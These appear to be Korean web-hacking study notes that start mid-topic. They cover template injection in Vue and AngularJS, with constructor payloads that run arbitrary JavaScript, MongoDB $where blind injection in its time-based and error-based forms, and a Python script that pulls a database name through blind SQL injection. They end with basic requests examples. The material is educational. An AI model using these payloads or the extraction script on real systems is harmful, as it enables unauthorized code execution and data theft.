위 코드는 htmlspecialchars()함수를 사용하여 $_GET['msg']를 출력하므로, 기본적으로 XSS 공격에는 안전하다.
하지만 Template Injection 의 경우에는 상황이 조금 다르다.
Vue.js를 포함한 JavaScript 기반 프레임워크에서는 템플릿을 파싱하고, 실행 시점에 동적으로 내용을 갱신하는 기능이 있기 때문에, 사용자가 제공한 입력이 Vue 템플릿으로 해석되어Template Injection 이 발생할 수 있다.
Template Injection이 발생하는지 확인하는 간단한 방법은 템플릿을 이용해 산술 연산을 수행해보는 것이다.
{{1+1}}과 같은 산술 연산 형태의 템플릿을 입력했을 때, 연산이 실행된 형태인2가 출력된다면 Template Injection이 발생하는 것으로 확인할 수 있다.
Template Injection이 발생할 때, 이를 이용해 임의의 자바스크립트 코드를 실행하는 방법으로 생성자(constructor)를 사용하는 방법이 있다. Vue 템플릿 컨텍스트 내에서 생성자에 접근하여 악성 코드를 생성하고 이를 호출하여 XSS 공격을 수행할 수 있다.
Vue 템플릿 컨텍스트에서 생성자에 접근하는 대표적인 방법을 {{_Vue.h.constructor}}를 사용하는 것이다.
이를 이용한 익스플로잇 코드는 다음과 같다.
{{_Vue.h.constructor("alert(1)")()}} → alert(1) 실행
AngularJS
AngularJS는 타입스크립트 기반의 오픈소스 프레임워크이며 CLI 도구에서 다양한 기능을 제공하기 때문에 개발을 편리하게 해주는 프레임워크 중 하나다.
Vue와 마찬가지로{{ }}로 감싸진 부분이 AngularJS 템플릿 부분이며, 해당 템플릿 내에서 문자열을 표시하거나, 자바스크립트 표현식을 실행할 수 있다. 만약 여기서 템플릿 내부에 공격자의 입력이 들어가 Template Injection 취약점이 발생한다면, XSS 공격으로 이어질 수 있다.
htmlspecialchars 함수를 통해 msg 파라미터 출력하기 때문에 XSS 공격은 방지할 수 있지만, 출력되는 값이 AngularJS의 템플릿으로 사용될 수 있기 때문에 Template Injection이 발생한다.
{{1+1}}과 같은 산술 연산 형태의 템플릿을 입력했을 때, 연산이 실행된 형태인2가 출력된다면 Template Injection이 발생하는 것으로 확인할 수 있다.
Template Injection이 발생할 때, 이를 이용해 임의의 자바스크립트 코드를 실행하는 방법으로 생성자(constructor)를 사용하는 방법이 있다. AngularJS 템플릿에서 생성자에 접근하기 위해서는{{ constructor.constructor }}로 접근할 수 있다.
이를 이용하여 임의 코드에 해당하는 함수를 생성하고, 호출하여 공격할 수 있다
{{ constructor.constructor("alert(1)")() }} → alert(1) 실행
아래는 upw의 첫 글자를 비교하고, 해당 표현식이 참을 반환할 때 sleep 함수를 실행하는 쿼리다.
db.user.find({$where: `this.uid=='${req.query.uid}'&&this.upw=='${req.query.upw}'`});
/* req.query.uid, req.query.upw 에 들어가는 js 코드들
/?uid=guest'&&this.upw.substring(0,1)=='a'&&sleep(5000)&&'1 <-참이면 5초 지연
/?uid=guest'&&this.upw.substring(0,1)=='b'&&sleep(5000)&&'1
/?uid=guest'&&this.upw.substring(0,1)=='c'&&sleep(5000)&&'1
...
/?uid=guest'&&this.upw.substring(0,1)=='g'&&sleep(5000)&&'1
=> 시간 지연 발생.
*/
Error based Injection
올바르지 않은 문법을 입력해 고의로 에러를 발생시킨다.
아래에서 upw의 첫 글자가 'g'인 경우 (참인 경우) 올바르지 않은 문법인 asdf를 실행하면서 에러가 발생한다.
> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='g'&&asdf&&'1'&&this.upw=='${upw}'"});
error: {
"$err" : "ReferenceError: asdf is not defined near '&&this.upw=='${upw}'' ",
"code" : 16722
}
// this.upw.substring(0,1)=='g' 값이 참이기 때문에 asdf 코드를 실행하다 에러 발생
> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='a'&&asdf&&'1'&&this.upw=='${upw}'"});
// this.upw.substring(0,1)=='a' 값이 거짓이기 때문에 뒤에 코드가 작동하지 않음
import requests
# 데이터베이스 이름의 길이를 찾는 부분
length = 0
for lengths in range(1, 30):
url = "http://[domain]/search_result.php?catgo=title&search=%25%27%20and%20length(database())={0}%20--%20".format(lengths)
res = requests.get(url)
if "2949" in res.text: # 특정 문자열로 길이를 식별
print("\n 데이터베이스명의 길이는 {0}".format(lengths))
length = lengths
break
else:
continue
# 데이터베이스 이름을 추출하는 부분
db_name = ""
for i in range(1, length + 1):
for j in range(33, 127):
url = "http://[domain]/search_result.php?catgo=title&search=%25%27%20and%20ascii(substr(database(),{0},1))={1}%20--%20".format(i, j)
res = requests.get(url)
if "2949" in res.text: # 특정 문자열로 문자 식별
db_name += chr(j)
break
print("\n 데이터베이스 명: {0}".format(db_name))
예시
참고
import requests
url = 'https://dreamhack.io/'
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'DREAMHACK_REQUEST'
}
params = {
'test': 1,
}
for i in range(1, 5):
c = requests.get(url + str(i), headers=headers, params=params)
print(c.request.url)
print(c.text)
requests 모듈 GET 예제 코드
import requests
url = 'https://dreamhack.io/'
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'DREAMHACK_REQUEST'
}
data = {
'test': 1,
}
for i in range(1, 5):
c = requests.post(url + str(i), headers=headers, data=data)
print(c.text)